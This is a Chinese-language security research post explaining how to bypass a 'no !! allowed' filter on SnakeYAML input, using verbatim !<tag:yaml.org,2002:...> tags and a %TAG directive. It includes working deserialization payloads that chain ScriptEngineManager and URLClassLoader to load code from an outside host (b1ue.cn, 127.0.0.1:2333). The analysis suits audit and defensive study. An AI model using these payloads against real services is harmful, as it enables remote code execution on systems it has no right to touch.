背景
这是我在做某个代码审计项目时遇到的场景,一个 yaml 解析的功能使用了 snakeyaml 来处理 yaml,snakeyaml 一般情况下是可以直接进行反序列化攻击的。但这里它做了一个前提条件 —— “不允许 yaml 中存在 !!”。
如果打过 yaml 反序列化漏洞的人应该都知道 !! 就相当于 fastjson 里的 @type,用于指定要反序列化的全类名。
一旦 yaml 缺少了 !! 将无法再指定恶意的反序列化类,也就构不成代码执行的威胁了。
分析
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2333/"]]]]
这条 POC 都是网上公开最常见的,所有 POC 都是基于 !! 来反序列化。这也就误导了一些程序员认为 !! 是导致反序列化的原因。
以上图为例,yaml 中带有 !! 无法通过校验。所以需要先去绕过 !! 。
我一开始想到的是类似 fastjson 可以16进制、Unicode在内部进行解码,实际测试并不可行,
虽然可以处理 Unicode,但只能当做 string 使用,所以这个想法只能放弃。
经过一系列的调试我发现,每个 !! 修饰过的类都转成了一个 TAG。
例如 yaml 常用的 set str map 等类型都是一个 TAG,并且使用了一个固定的前缀:tag:yaml.org,2002:
public static final String PREFIX = "tag:yaml.org,2002:";
public static final Tag YAML = new Tag("tag:yaml.org,2002:yaml");
public static final Tag MERGE = new Tag("tag:yaml.org,2002:merge");
public static final Tag SET = new Tag("tag:yaml.org,2002:set");
public static final Tag PAIRS = new Tag("tag:yaml.org,2002:pairs");
public static final Tag OMAP = new Tag("tag:yaml.org,2002:omap");
public static final Tag BINARY = new Tag("tag:yaml.org,2002:binary");
public static final Tag INT = new Tag("tag:yaml.org,2002:int");
public static final Tag FLOAT = new Tag("tag:yaml.org,2002:float");
public static final Tag TIMESTAMP = new Tag("tag:yaml.org,2002:timestamp");
public static final Tag BOOL = new Tag("tag:yaml.org,2002:bool");
public static final Tag NULL = new Tag("tag:yaml.org,2002:null");
public static final Tag STR = new Tag("tag:yaml.org,2002:str");
public static final Tag SEQ = new Tag("tag:yaml.org,2002:seq");
public static final Tag MAP = new Tag("tag:yaml.org,2002:map");
所以 !!javax.script.ScriptEngineManager
的TAG就是 tag:yaml.org,2002:javax.script.ScriptEngineManager
我在 yaml 官网找到了一些与tag:yaml.org,2002
相关的文档。
发现它除了 !! 以为还有另外几种 TAG 的表示方式。
%YAML 1.1
---
!!seq [
!<!foo> "bar",
!<tag:yaml.org,2002:str> "string"
!<tag:ben-kiki.org,2000:type> "baz"
]
# Explicitly specify default settings:
%TAG ! !
%TAG !! tag:yaml.org,2002:
# Named handles have no default:
%TAG !o! tag:ben-kiki.org,2000:
---
- !foo "bar"
- !!str "string"
- !o!type "baz"
第一种是用!<TAG>
来表示,只需要一个感叹号,尖括号里就是 TAG。
前面提到 !! 就是用来表示 TAG 的,会自动补全 TAG 前缀tag:yaml.org,2002:
所以要想反序列化恶意类就需要这样构造
!<tag:yaml.org,2002:javax.script.ScriptEngineManager> " +
"[!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL>" +
" [\"http://b1ue.cn/\"]]]]
这样以来就绕过了不允许存在 !! 的限制。
再来看第二种,需要在 yaml 中用%TAG
声明一个 TAG
例如我声明 ! 的tag是 tag:yaml.org,2002:
%TAG ! tag:yaml.org,2002:
后面再调用 !str
的话实际上就会把 TAG 前缀拼起来得到tag:yaml.org,2002:str
。
最终我构造的反序列化攻击payload如下
%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://b1ue.cn/"]]]]
同样也只使用了一个!,绕过了!!的限制。